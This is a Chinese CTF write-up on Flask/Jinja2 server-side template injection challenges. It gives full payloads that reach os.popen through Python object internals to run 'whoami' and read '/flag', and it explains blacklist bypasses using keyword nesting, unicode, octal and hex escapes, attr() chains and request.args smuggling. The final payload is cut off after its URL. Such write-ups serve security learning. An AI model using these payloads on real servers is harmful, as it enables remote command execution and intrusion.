分析下近期做过的ssti题目的思路
你的名字 题目分析
打开题目 发现输入名字
尝试输入4
报了一个php的错误
继续尝试
1 | {% print 2*5 %} |
成功.
下面将尝试利用ssti进行文件读取/命令执行
尝试
1 | {%print config%} |
失败,返回值为空
尝试多个关键字后,发现是对黑名单关键词采取了置空的方法进行过滤,那么可以考虑在关键字中加入另一个关键字的方式,如 iconfigf 代表if。
首先获得所有子类
payload:
1 | {% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()%} |
拿到所有子类后,查找init global存在os模块的类,常见的是catch_warnings类
我这里用的是笨方法,将所有的子类打印出来后放到sublime里面找到的catch_warings类的下标为59
下面将进一步利用该类实现命令执行。
1 | {% print ''.__claconfigss__.__mrconfigo__[2].__subclconfigasses__()[59].__init__.__gloconfigbals__.linecaconfigche%} |
题外话
介绍popen的用法
popen方法在os模块下,使用前需要import os
popen是从一个命令打开一个管道,返回值意味着执行结果,正常执行的话返回值为0
popen在ssti中常作为替代system进行命令执行的一种方式,现演示popen用法
在此例中可以看到,调用os.popen.read()方法会返回执行系统命令的结果,而不是执行成功的返回值0
popen方法中subprocess模块下也有。
安洵杯 normal_ssti
首先看过滤了哪些关键字
使用burp fuzz关键字,发现过滤了很多的关键字
1 | 首先看过滤了{{,可以使用{%print%} |
的方式执行表达式
过滤了空格,可以用小括号的方式绕过
1 | {%print(1)%} |
这里还过滤了. 可以用a t t r()绕过
其他的关键字可以考虑使用unicode编码绕过
lipsum方法globlas-builtins中存在os模块,可以直接执行命令。
首先构造未编码payload:
1 | {%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")())%} |
然后构造编码payload:
1 | http://localhost:5050/test?url={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0077\u0068\u006f\u0061\u006d\u0069")|attr("\u0072\u0065\u0061\u0064")())%} |
另一种思路
看了师傅们的解法,我在尝试另一种编码绕过的方式解决这个问题
1 | payload1:http://127.0.0.1:5050/test?url={%print(1|attr(%22\137\137class\137\137%22)|attr(%22\137\137mro\137\137%22)|attr(%22\137\137\147etitem\137\137%22)(1)|attr(%22\137\137subclasses\137\137%22)()|attr(%22\137\137\147etitem\137\137%22)(186)|attr(%22\137\137init\137\137%22)|attr(%22\137\137\147lobals\137\137%22)|attr("\137\137\147etitem\137\137")("sys")|attr("modules")|attr("\137\137\147etitem\137\137")("os")|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)())%} |
上述两种方法是通过找sys模块中的os进行命令执行。(膜一下师傅:)
nctf 2020 ssti
1 | blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get'] |
懒了,改一下上题的blacklist继续跑(doge
先用bp fuzz一下,发现过滤了很多关键字。
根据上题思路,尝试unicode绕过对关键字的过滤,如
class -> \u0063\u006c\u0061\u0073\u0073
这种方法可以成功bypass。
官方wp的方法是用十六进制绕过,也是可以的,下面是用16进制绕过的pld:
1 | http://10.90.89.27:5050/test?url={{%22%22[%22\x5f\x5fcla%22+%22ss\x5f\x5f%22][%22\x5f\x5fmr%22+%22o\x5f\x5f%22][1][%22\x5f\x5fsubcla%22+%22sses\x5f\x5f%22]()[186][%22\x5f\x5fin%22+%22it\x5f\x5f%22][%22\x5f\x5fgloba%22+%22ls\x5f\x5f%22][%22sys%22][%22modules%22][%22os%22][%22popen%22](%22cat%3C%3E/flag%22)[%22read%22]()}} |
unctf2020 ssti
blacklist:
1 | [ ] ' " _ |
绕过方法:
1 | [] : __getitem__ |
1 | Payload:http://192.168.0.116:5000/?url={{()|attr(request.args.class)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.subclass)()|attr(request.args.getitem)(186)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.sys)|attr(request.args.mod)|attr(request.args.getitem)(request.args.os)|attr(request.args.popen)(request.args.whoami)|attr(request.args.read)()}}&class=__class__&mro=__mro__&getitem=__getitem__&&subclass=__subclasses__&init=__init__&globals=__globals__&sys=sys&mod=modules&os=os&popen=popen&whoami=whoami&read=read |
nctf 2020 你就是我的master吗
blacklist:
1 | ' . _ class base subclasses request |
绕过方法:
1 | ' : "" |
Payload:
1 | http://192.168.1.103:5000/? |
总结
flask/jinja2渲染殷勤的ssti问题考察更多的是对builtins函数/模块的使用以及了解程度,各种绕过过滤技巧 换而言之是对python语言基础语法的理解程度和面向对象思想的熟练程度。